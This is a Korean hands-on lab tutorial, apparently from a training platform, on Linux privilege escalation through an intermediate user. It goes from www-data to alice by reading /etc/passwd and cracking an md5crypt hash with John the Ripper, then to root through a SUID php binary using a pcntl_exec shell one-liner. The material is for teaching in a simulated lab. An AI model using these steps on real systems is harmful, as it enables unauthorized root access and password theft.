소개
이 랩에서는 root 로 직접 권한 상승을 할 수 없을 때, 권한을 root 사용자로 상승시키는 방법을 배웁니다. 먼저 다른 일반 사용자로 권한을 상승시킨 다음, 해당 사용자의 권한을 사용하여 root 사용자로 권한을 상승시킵니다. 이 중간 사용자를 "디딤돌" 사용자라고 합니다.
이 랩의 목표는 www-data 사용자에서 alice 사용자로, 그리고 alice 사용자에서 root 사용자로 권한을 상승시키는 것입니다.
이 랩에서는 root 로 직접 권한 상승을 할 수 없을 때, 권한을 root 사용자로 상승시키는 방법을 배웁니다. 먼저 다른 일반 사용자로 권한을 상승시킨 다음, 해당 사용자의 권한을 사용하여 root 사용자로 권한을 상승시킵니다. 이 중간 사용자를 "디딤돌" 사용자라고 합니다.
이 랩의 목표는 www-data 사용자에서 alice 사용자로, 그리고 alice 사용자에서 root 사용자로 권한을 상승시키는 것입니다.
이 단계에서는 랩 환경을 초기화합니다.
먼저 터미널을 열고 /home/labex/project 디렉토리로 이동합니다.
cd /home/labex/project
다음 명령을 실행하여 랩 환경을 설정합니다.
./env_setup.sh
이 명령은 랩에 필요한 환경을 설정하는 스크립트를 다운로드하여 실행합니다. 이 명령을 실행한 후, 웹 취약점을 통해 얻은 초기 쉘을 시뮬레이션하여 www-data 사용자로 전환됩니다.
이 단계에서는 SUID (Set User ID) 기술을 사용하여 권한을 상승시키려고 시도합니다. SUID 비트가 설정된 실행 파일을 검색합니다. 이러한 파일은 파일 소유자 (이 경우 root) 의 권한으로 실행될 수 있습니다.
먼저 www-data 사용자가 접근할 수 있는 SUID 실행 파일을 검색해 보겠습니다.
find / -user root -perm -4000 -print 2> /dev/null > ~/www-data_suid_files.txt
이 명령은 root 사용자가 소유하고 SUID 비트가 설정된 (권한 모드 4000) 파일을 전체 파일 시스템에서 검색합니다.
명령을 실행한 후, www-data_suid_files.txt 파일에 SUID 실행 파일 목록이 표시됩니다. 이 파일의 내용을 살펴보겠습니다.
cat ~/www-data_suid_files.txt
하지만, 이 경우에는 SUID 권한 상승에 적합한 파일이 없습니다.
SUID 기술을 사용하여 권한을 상승시킬 수 없었으므로, 잠재적인 발판 사용자 (stepping stone users) 를 찾기 위해 홈 디렉토리를 조사해 보겠습니다.
먼저, 추가 분석을 위해 /home 디렉토리의 내용을 파일에 저장합니다.
ls -alh /home > ~/home_dir_contents.txt
이 명령은 /home 디렉토리의 내용을 파일 크기 및 권한을 포함한 긴 형식으로 나열하고, 이를 home_dir_contents.txt 파일에 저장합니다.
다음으로, 잠재적인 발판을 식별하기 위해 home_dir_contents.txt 파일의 내용을 검토해 보겠습니다.
cat ~/home_dir_contents.txt
출력에서 alice라는 디렉토리를 볼 수 있으며, 이는 시스템에 alice라는 사용자가 존재함을 나타냅니다.
www-data 사용자는 alice 디렉토리에 접근할 수 없으므로, 먼저 alice 사용자로 권한을 상승시키는 방법을 찾아야 합니다.
alice 사용자에 대한 정보를 얻기 위해 /etc/passwd 파일을 확인해 보겠습니다.
cat /etc/passwd | grep alice > ~/alice_info.txt
alice_info.txt 파일의 내용을 확인하여 alice 사용자의 세부 정보를 확인합니다.
cat ~/alice_info.txt
예상 출력:
alice:$1$ignite$tN3eRajwqVQLh1dDmMVix0:5001:5001::/home/alice:/bin/bash
출력에서 비밀번호 해시를 포함한 alice 사용자에 대한 항목을 볼 수 있습니다.
비밀번호 해시를 크래킹하기 위해 john 도구를 사용할 수 있습니다. 새 터미널을 열고 다음 명령을 실행합니다.
john ~/alice_info.txt > cracked_passwords.txt
예시 출력:
Created directory: /var/www/.john
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
1g 0:00:00:00 100% 2/3 5.000g/s 6780p/s 6780c/s 6780C/s 123456..crawford
Use the "--show" option to display all of the cracked passwords reliably
Session completed
이것은 비밀번호 크래킹 프로세스를 시작합니다. 비밀번호가 크래킹되면 cracked_passwords.txt 파일에서 비밀번호를 확인할 수 있습니다.
cat ~/cracked_passwords.txt
예시 출력:
Loaded 1 password hash (md5crypt [MD5 32/64 X2])
beautiful (alice)
이 경우, alice 사용자의 비밀번호는 beautiful입니다. su 명령을 사용하여 alice 사용자로 전환합니다.
su - alice
프롬프트가 표시되면 이전에 크래킹한 비밀번호 (beautiful) 를 입력합니다.
beautiful
alice 사용자로 성공적으로 전환한 후, alice 디렉토리로 이동하여 alice.txt라는 새 파일을 생성합니다.
cd /home/alice
alice.txt라는 새 파일을 생성합니다.
touch ~/alice.txt
이제 alice 디렉토리와 그 내용에 접근할 수 있습니다.
이제 alice 사용자로 권한을 상승시켰으므로, SUID 권한 상승 기술을 다시 시도해 보겠습니다.
alice 사용자의 홈 디렉토리에 있는지 확인합니다.
cd /home/alice
SUID 비트가 설정된 파일을 찾으려면 다음 명령을 실행합니다.
find / -user root -perm -4000 -print 2> /dev/null > alice_suid_files.txt
SUID 파일 목록을 보려면 alice_suid_files.txt 파일의 내용을 확인합니다.
cat alice_suid_files.txt
예상 출력:
...
/var/bin/php
...
이번에는 /var/bin/php 실행 파일을 출력에서 볼 수 있습니다. 이 파일은 SUID 권한 상승에 사용할 수 있습니다.
root 사용자로 권한을 상승시키려면 다음 명령을 실행합니다.
/var/bin/php -r "pcntl_exec('/bin/sh', ['-p']);"
이 명령은 root 권한으로 새 셸을 생성하는 PHP 스크립트를 실행합니다.
이제 터미널에서 # 프롬프트로 표시되는 root 셸을 갖게 됩니다. root 디렉토리에 파일을 생성하여 root 권한이 있는지 확인합니다.
touch /root/root.txt
권한 오류 없이 파일이 생성되면 SUID 기술을 사용하여 root 사용자로 권한을 성공적으로 상승시킨 것입니다.
alice 사용자가 SUID 실행 파일 php를 찾을 수 있었던 반면, www-data 사용자는 왜 찾을 수 없었는지 궁금할 수 있습니다. 그 답은 디렉토리 권한에 있습니다.
마지막 단계 이후에도 아래와 같은 root 사용자의 셸을 가지고 있어야 합니다.
sh-5.1#
/var/bin 디렉토리의 권한을 검사하고 출력을 파일에 저장해 보겠습니다.
ls -lh /var > /root/var_permissions.txt
/var 디렉토리의 권한을 보려면 var_permissions.txt 파일의 내용을 확인합니다.
cat /root/var_permissions.txt
예상 출력:
total 0
...
drwxr-x--- 2 alice alice 17 Apr 15 03:48 bin
...
출력에서 /var/bin 디렉토리가 alice 사용자와 그룹에 의해 소유됨을 확인할 수 있습니다. 다른 사용자는 이 디렉토리에 대한 읽기, 쓰기 또는 실행 권한이 없습니다.
이는 alice 사용자로 권한을 상승시켰을 때, 이전에 www-data 사용자가 접근할 수 없었던 파일과 디렉토리에 접근할 수 있게 되었음을 의미합니다. 이러한 권한의 차이로 인해 SUID 실행 파일을 찾아 권한 상승에 활용할 수 있었습니다.
이 랩에서는 직접적인 root 권한 상승이 불가능할 때 root 사용자로 권한을 상승시키는 방법을 배웠습니다. 먼저 alice 사용자, 즉 중간 단계를 거치는 사용자로 권한을 상승시킨 다음, alice 사용자의 권한을 사용하여 root 사용자로 권한을 상승시켰습니다.
이 랩에서 얻을 수 있는 핵심적인 교훈은 사용자 간의 권한 차이를 항상 염두에 두는 것입니다. 이러한 차이점은 때때로 권한 상승에 활용될 수 있습니다. 이 랩에서는 간단한 예시를 사용했지만, 실제 시나리오는 더 복잡할 수 있습니다. 하지만 핵심 원리는 동일합니다. 즉, 사용자 권한의 차이를 악용하여 권한 상승을 달성하는 것입니다.